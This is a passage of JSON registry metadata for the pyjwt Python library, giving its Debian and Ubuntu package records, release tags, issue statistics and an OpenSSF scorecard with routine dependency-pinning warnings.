wt/tags/0.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3/manifests"},{"name":"0.2.2","sha":"a99f4015d1f11ddc18ac8da5f6604d5b31aa125e","kind":"tag","published_at":"2014-09-23T02:40:34.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2/manifests"},{"name":"0.2.0","sha":"257fd34acc393520fd01cfcf47bf628835ed9402","kind":"commit","published_at":"2014-03-26T00:02:10.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0/manifests"},{"name":"0.1.9","sha":"581c660108d9eabe1c061620e6b795064b0b5b8d","kind":"commit","published_at":"2014-02-08T07:12:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.9","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9/manifests"},{"name":"0.1.6","sha":"2b5dd54dabe599676f3fa5b4f4c90b59856e908f","kind":"tag","published_at":"2013-08-08T18:35:32.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.6","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6/manifests"}]},"repo_metadata_updated_at":"2026-05-29T04:00:36.144Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:deb/debian/pyjwt?arch=source\u0026distro=debian-10\u0026repository_url=https://packages.debian.org/buster","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/debian/pyjwt","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/debian/pyjwt","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/debian/pyjwt/dependencies","status":null,"funding_links":["https://github.com/sponsors/jpadilla"],"critical":null,"issue_metadata":{"last_synced_at":"2026-05-24T15:00:28.878Z","issues_count":159,"pull_requests_count":289,"avg_time_to_close_issue":11297445.848214285,"avg_time_to_close_pull_request":2246869.7172131147,"issues_closed_count":112,"pull_requests_closed_count":243,"pull_request_authors_count":81,"issue_authors_count":155,"avg_comments_per_issue":3.842767295597484,"avg_comments_per_pull_request":0.8304498269896193,"merged_pull_requests_count":199,"bot_issues_count":2,"bot_pull_requests_count":101,"past_year_issues_count":25,"past_year_pull_requests_count":77,"past_year_avg_time_to_close_issue":6701487.111111111,"past_year_avg_time_to_close_pull_request":1291611.0,"past_year_issues_closed_count":9,"past_year_pull_requests_closed_count":44,"past_year_pull_request_authors_count":25,"past_year_issue_authors_count":24,"past_year_avg_comments_per_issue":2.64,"past_year_avg_comments_per_pull_request":0.38961038961038963,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":34,"past_year_merged_pull_requests_count":41,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/issues","maintainers":[{"login":"auvipy","count":6,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":5,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}],"active_maintainers":[{"login":"auvipy","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/debian-10/packages/pyjwt/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/debian-10/packages/pyjwt/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/debian-10/packages/pyjwt/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/debian-10/packages/pyjwt/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/debian-10/packages/pyjwt/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/debian-10/packages/pyjwt/codemeta","maintainers":[],"registry":{"name":"debian-10","url":"https://packages.debian.org/buster","ecosystem":"debian","default":false,"packages_count":28836,"maintainers_count":0,"namespaces_count":3,"keywords_count":915,"github":"debian","metadata":{"codename":"buster","mirror":"http://archive.debian.org/debian","funded_packages_count":93},"icon_url":"https://github.com/debian.png","created_at":"2026-02-04T11:01:50.156Z","updated_at":"2026-05-29T05:10:14.968Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/debian-10/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/debian-10/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/debian-10/namespaces"}},{"id":13469437,"name":"pyjwt","ecosystem":"ubuntu","description":null,"homepage":"https://github.com/jpadilla/pyjwt","licenses":"mit","normalized_licenses":[],"repository_url":"https://github.com/jpadilla/pyjwt","keywords_array":["misc"],"namespace":"main","versions_count":1,"first_release_published_at":"2026-02-09T19:52:32.715Z","latest_release_published_at":"2026-02-09T19:52:32.715Z","latest_release_number":"2.7.0-1","last_synced_at":"2026-03-09T20:09:15.015Z","created_at":"2026-02-09T19:52:32.420Z","updated_at":"2026-05-29T04:00:36.143Z","registry_url":"https://launchpad.net/ubuntu/+source/pyjwt","install_command":"apt-get install pyjwt","documentation_url":null,"metadata":{"component":"main","architecture":"all","priority":"optional","binary":"python3-jwt","standards_version":"4.6.2","maintainer":"Debian Python Team \u003cteam+python@tracker.debian.org\u003e","build_depends":"debhelper-compat (= 13), dh-python, pybuild-plugin-pyproject, python3-all, python3-cryptography, python3-exceptiongroup, python3-pytest, python3-pytest-cov, python3-pytest-runner, python3-setuptools, python3-tomli","build_depends_indep":null,"build_depends_arch":null},"repo_metadata":{"id":1396960,"uuid":"1408162","full_name":"jpadilla/pyjwt","owner":"jpadilla","description":"JSON Web Token implementation in Python","archived":false,"fork":false,"pushed_at":"2026-05-18T22:10:19.000Z","size":1229,"stargazers_count":5660,"open_issues_count":52,"forks_count":756,"subscribers_count":59,"default_branch":"master","last_synced_at":"2026-05-19T00:41:40.142Z","etag":null,"topics":["hacktoberfest","jwt","python"],"latest_commit_sha":null,"homepage":"https://pyjwt.readthedocs.io","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":"jondot/padrino-warden","license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/jpadilla.png","metadata":{"files":{"readme":"README.rst","changelog":"CHANGELOG.rst","contributing":null,"funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":"AUTHORS.rst","dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null},"funding":{"github":["jpadilla"]}},"created_at":"2011-02-24T20:25:09.000Z","updated_at":"2026-05-15T21:30:33.000Z","dependencies_parsed_at":"2025-11-13T02:02:14.919Z","dependency_job_id":null,"html_url":"https://github.com/jpadilla/pyjwt","commit_stats":{"total_commits":666,"total_committers":140,"mean_commits":4.757142857142857,"dds":0.7777777777777778,"last_synced_commit":"d8b12421654840418fd25b86553795c0c09ed0a9"},"previous_names":["progrium/pyjwt"],"tags_count":48,"template":false,"template_full_name":null,"purl":"pkg:github/jpadilla/pyjwt","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/sbom","scorecard":{"id":316997,"data":{"date":"2025-08-11","repo":{"name":"github.com/jpadilla/pyjwt","commit":"f2d0ebe7ec6d95cf92d958f9fcbd60ba1911cd3d"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":7.5,"checks":[{"name":"Code-Review","score":8,"reason":"Found 12/15 approved changesets -- score normalized to 8","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Maintained","score":10,"reason":"11 commit(s) and 3 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: topLevel 'contents' permission set to 'read': .github/workflows/enforce-changelog-entry.yml:8","Warn: no topLevel permission defined: .github/workflows/main.yml:1","Info: topLevel 'contents' permission set to 'read': .github/workflows/pypi-package.yml:16","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:26: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:44: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/main.yml:58: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:70: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:96: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:97: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:27: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:31: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:43: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:49: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:63: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/stale.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/stale.yml/master?enable=pin","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:36","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:37","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:51","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:77","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:104","Info:   0 out of  11 GitHub-owned GitHubAction dependencies pinned","Info:   1 out of   5 third-party GitHubAction dependencies pinned","Info:   0 out of   5 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Fuzzing","score":10,"reason":"project is fuzzed","details":["Info: OSSFuzz integration found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/pypi-package.yml:34"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"SAST","score":5,"reason":"SAST tool is not run on all commits -- score normalized to 5","details":["Warn: 16 commits out of 27 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-18T00:25:46.882Z","repository_id":1396960,"created_at":"2025-08-18T00:25:46.882Z","updated_at":"2025-08-18T00:25:46.882Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":33197524,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-18T09:27:30.708Z","status":"ssl_error","status_checked_at":"2026-05-18T09:27:28.300Z","response_time":71,"last_error":"SSL_connect returned=1 errno=0 peeraddr=140.82.121.5:443 state=error: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"jpadilla","name":"José Padilla","uuid":"83319","kind":"user","description":"@auth0 + @filepreviews ","email":"hello@jpadilla.com","website":"https://jpadilla.com","location":"Hartford, CT","twitter":"jpadilla_","company":"@auth0 ","icon_url":"https://avatars.githubusercontent.com/u/83319?v=4","repositories_count":230,"last_synced_at":"2025-11-23T03:17:15.931Z","metadata":{"has_sponsors_listing":true},"html_url":"https://github.com/jpadilla","funding_links":["https://github.com/sponsors/jpadilla"],"total_stars":12101,"followers":1389,"following":419,"created_at":"2022-11-02T16:29:26.720Z","updated_at":"2025-11-23T03:17:15.932Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla/repositories"},"tags":[{"name":"2.13.0","sha":"7144e4534c34810f4525dc4578a32addd8212cff","kind":"commit","published_at":"2026-05-21T19:34:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.13.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0/manifests"},{"name":"2.12.1","sha":"a4e1a3d1218b01c5806420b8f16d9308ac4adc30","kind":"commit","published_at":"2026-03-13T18:41:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.12.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1/manifests"},{"name":"2.12.0","sha":"bd9700cca7f9258fadcc429c1034e508025931f2","kind":"commit","published_at":"2026-03-12T17:08:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0/manifests"},{"name":"2.11.0","sha":"697344d25990641b8b2aa85f0a60634b590b5702","kind":"commit","published_at":"2026-01-30T18:44:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.11.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0/manifests"},{"name":"2.10.1","sha":"3ebbb22f30f2b1b41727b269a08b427e9a85d6bb","kind":"commit","published_at":"2024-11-28T03:30:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.10.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1/manifests"},{"name":"2.10.0","sha":"783f324e5d2155462515ced45718fc164dd04db2","kind":"commit","published_at":"2024-11-16T13:57:38.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.10.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0/manifests"},{"name":"2.9.0","sha":"868cf4ab2ca5a0a39da40e5a14dd740b203662b2","kind":"commit","published_at":"2024-07-31T12:40:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.9.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.9.0/manifests"},{"name":"2.8.0","sha":"72ad55f6d7041ae698dc0790a690804118be50fc","kind":"commit","published_at":"2023-07-18T18:30:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.8.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0/manifests"},{"name":"2.7.0","sha":"d7c54dbebdab2ae17f7948fd4432b15e1bb82852","kind":"commit","published_at":"2023-05-09T19:04:21.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0/manifests"},{"name":"2.6.0","sha":"7665aa625506a11bae50b56d3e04413a3dc6fdf8","kind":"commit","published_at":"2022-10-20T01:08:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0/manifests"},{"name":"2.5.0","sha":"c9006103b56359b3ad788bb2e380ef17dfe59b05","kind":"commit","published_at":"2022-09-17T13:52:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0/manifests"},{"name":"2.4.0","sha":"83ff831a4d11190e3a0bed781da43f8d84352653","kind":"commit","published_at":"2022-05-12T18:51:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0/manifests"},{"name":"2.3.0","sha":"98620ab2a396a5c887a494259d49552c2093e1ad","kind":"commit","published_at":"2021-10-16T15:46:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0/manifests"},{"name":"2.2.0","sha":"6223ba13780a941a3f4c9dec62f282bdd9b5afb0","kind":"commit","published_at":"2021-10-06T14:03:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0/manifests"},{"name":"2.1.0","sha":"79c23d7d9d32364be8f94680d8eda7135c3a15d5","kind":"commit","published_at":"2021-04-28T11:59:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0/manifests"},{"name":"2.0.1","sha":"3993ce1d3503